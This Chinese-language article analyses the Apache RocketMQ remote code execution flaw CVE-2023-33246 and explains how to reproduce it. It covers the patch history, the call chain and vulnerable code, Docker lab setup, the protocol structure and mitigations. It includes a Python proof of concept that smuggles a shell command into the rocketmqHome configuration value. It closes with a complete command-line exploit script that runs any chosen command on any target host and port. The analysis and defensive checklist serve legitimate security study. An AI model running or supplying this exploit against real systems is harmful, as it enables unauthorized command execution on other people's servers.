Apache RocketMQ 远程代码执行漏洞 CVE-2023-33246 分析
字数 1436 2025-08-24 16:48:07
Apache RocketMQ 远程代码执行漏洞(CVE-2023-33246)深度分析与复现指南
漏洞概述
CVE-2023-33246是Apache RocketMQ中存在的一个高危远程代码执行漏洞,攻击者可以通过构造特定的请求,利用RocketMQ的配置更新功能实现任意命令执行。
漏洞关键点
- 漏洞类型:远程代码执行(RCE)
- 影响组件:RocketMQ的broker组件
- 触发条件:未授权访问或低权限用户能够访问broker服务
- 利用方式:通过update configuration功能注入恶意配置
- 执行权限:系统用户权限
漏洞影响版本
该漏洞影响以下版本的Apache RocketMQ:
- RocketMQ 5.x系列
- 具体测试版本为5.1.0
漏洞原理分析
漏洞根源
漏洞源于两个关键问题:
- 权限验证缺失:update configuration功能缺乏足够的权限验证
- 命令注入点:FilterServer模块允许通过配置参数构造系统命令
技术细节
第一次补丁分析
第一次补丁尝试通过黑名单方式修复,禁止更新以下关键配置路径:
brokerConfigPathconfigStorePathkvConfigPathconfigStorePathName
但这种修复方式并不彻底,未能完全解决命令执行问题。
第二次补丁分析
第二次补丁采取了更彻底的解决方案:
- 完全移除了FilterServer模块
- 删除了存在漏洞的核心代码
漏洞触发链
完整的漏洞利用链如下:
- 攻击者发送恶意配置更新请求
DefaultRequestProcessor#updateConfig处理请求并更新配置- 配置更新触发
FilterServerManager#createFilterServer FilterServerManager#buildStartCommand构造命令字符串FilterServerUtil#callShell执行构造的命令
关键代码分析
// 命令构造关键代码
private String buildStartCommand() {
String config = "";
if (BrokerStartup.CONFIG_FILE_HELPER.getFile() != null) {
config = String.format("-c %s", BrokerStartup.CONFIG_FILE_HELPER.getFile());
}
if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) {
config += String.format(" -n %s", this.brokerController.getBrokerConfig().getNamesrvAddr());
}
if (NetworkUtil.isWindowsPlatform()) {
return String.format("start /b %s\\bin\\mqfiltersrv.exe %s",
this.brokerController.getBrokerConfig().getRocketmqHome(), config);
} else {
return String.format("sh %s/bin/startfsrv.sh %s",
this.brokerController.getBrokerConfig().getRocketmqHome(), config);
}
}
// 命令执行关键代码
public static void callShell(final String shellString, final Logger log) {
Process process = null;
try {
String[] cmdArray = splitShellString(shellString);
process = Runtime.getRuntime().exec(cmdArray);
process.waitFor();
log.info("CallShell: <{}> OK", shellString);
} catch (Throwable e) {
log.error("CallShell: readLine IOException, {}", shellString, e);
} finally {
if (null != process) process.destroy();
}
}
环境搭建与复现
环境准备
Docker环境搭建
- 拉取RocketMQ镜像:
docker pull apache/rocketmq:5.1.0
docker pull apacherocketmq/rocketmq-console:2.0.0
- 启动NameServer:
docker run -dit -p 9876:9876 -p 10909:10909 --name mqsrv \
-e "MAX_POSSIBLE_HEAP=100000000" apache/rocketmq:5.1.0 \
sh mqnamesrv /bin/bash
- 启动Broker:
docker run -dit -p 10909:10909 -p 10911:10911 --name mqbroker \
--restart=always --link mqsrv:namesrv \
-e "NAMESRV_ADDR=namesrv:9876" \
-e "MAX_POSSIBLE_HEAP=200000000" \
apache/rocketmq:5.1.0 sh mqbroker -c /home/rocketmq/rocketmq-5.1.0/conf/broker.conf
- 启动控制台:
docker run -dit --name mqconsole -p 8080:8080 \
-e "JAVA_OPTS=-Drocketmq.config.namesrvAddr=mqsrv:9876 -Drocketmq.config.isVIPChannel=false" \
apacherocketmq/rocketmq-console:2.0.0
二进制环境搭建
- 从官网下载对应版本的二进制包
- 启动NameServer:
/bin/bash mqnamesrv
- 启动Broker:
/bin/bash mqbroker -n 127.0.0.1:9876
漏洞复现
手动复现
使用Python脚本构造恶意请求:
import socket, binascii
client = socket.socket()
client.connect(('127.0.0.1', 10911))
json = '{"code":25,"extFields":{"test":"RockedtMQ"},"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body = 'filterServerNums=1\nnamesrvAddr=127.0.0.1:9876\nrocketmqHome=/tmp;echo "vulnerable" > /tmp/rce_test;'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8')) / 2)
part1 = '00000000' + str(hex(json_lens))[2:]
all_lens = int(4 + len(binascii.hexlify(body).decode('utf-8')) / 2 + json_lens)
part2 = '00000000' + str(hex(all_lens))[2:]
data = part2[-8:] + part1[-8:] + binascii.hexlify(json).decode('utf-8') + binascii.hexlify(body).decode('utf-8')
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)
使用工具复现
可以使用公开的CVE-2023-33246漏洞利用工具进行复现。
流量分析与协议结构
RocketMQ协议传输过程中,数据包主要包含四个部分:
- 协议总长度:4字节,表示整个数据包的长度
- JSON数据长度:4字节,表示JSON部分的长度
- JSON数据:包含请求的元数据
- BODY数据:包含实际的配置数据
关键字段说明
在JSON数据中,code字段决定调用的功能:
// org.apache.rocketmq.remoting.protocol.RequestCode
public static final int UPDATE_BROKER_CONFIG = 25; // 配置更新功能
防御措施
临时缓解方案
- 升级到已修复版本
- 网络隔离,限制对RocketMQ端口的访问
- 启用认证机制
长期解决方案
- 应用官方发布的补丁
- 定期进行安全审计
- 实施最小权限原则
参考链接
附录
完整利用脚本
#!/usr/bin/env python3
# CVE-2023-33246 RocketMQ RCE Exploit
import socket
import binascii
import argparse
def exploit(target, port, command):
try:
client = socket.socket()
client.connect((target, port))
# Construct malicious request
json = '{"code":25,"extFields":{"test":"RockedtMQ"},"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body = f'filterServerNums=1\nnamesrvAddr=127.0.0.1:9876\nrocketmqHome=/tmp;{command};'.encode('utf-8')
# Calculate lengths
json_lens = int(len(binascii.hexlify(json).decode('utf-8')) / 2)
part1 = '00000000' + str(hex(json_lens))[2:]
all_lens = int(4 + len(binascii.hexlify(body).decode('utf-8')) / 2 + json_lens)
part2 = '00000000' + str(hex(all_lens))[2:]
# Construct final payload
data = part2[-8:] + part1[-8:] + binascii.hexlify(json).decode('utf-8') + binascii.hexlify(body).decode('utf-8')
# Send payload
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print("[+] Response:", data_recv)
except Exception as e:
print("[-] Exploit failed:", str(e))
finally:
client.close()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='CVE-2023-33246 RocketMQ RCE Exploit')
parser.add_argument('-t', '--target', required=True, help='Target IP address')
parser.add_argument('-p', '--port', type=int, default=10911, help='Target port (default: 10911)')
parser.add_argument('-c', '--command', required=True, help='Command to execute')
args = parser.parse_args()
exploit(args.target, args.port, args.command)
修复建议检查清单
- [ ] 升级到RocketMQ最新安全版本
- [ ] 检查并删除FilterServer模块
- [ ] 配置网络ACL限制访问
- [ ] 启用RocketMQ的ACL功能
- [ ] 监控可疑的配置更新请求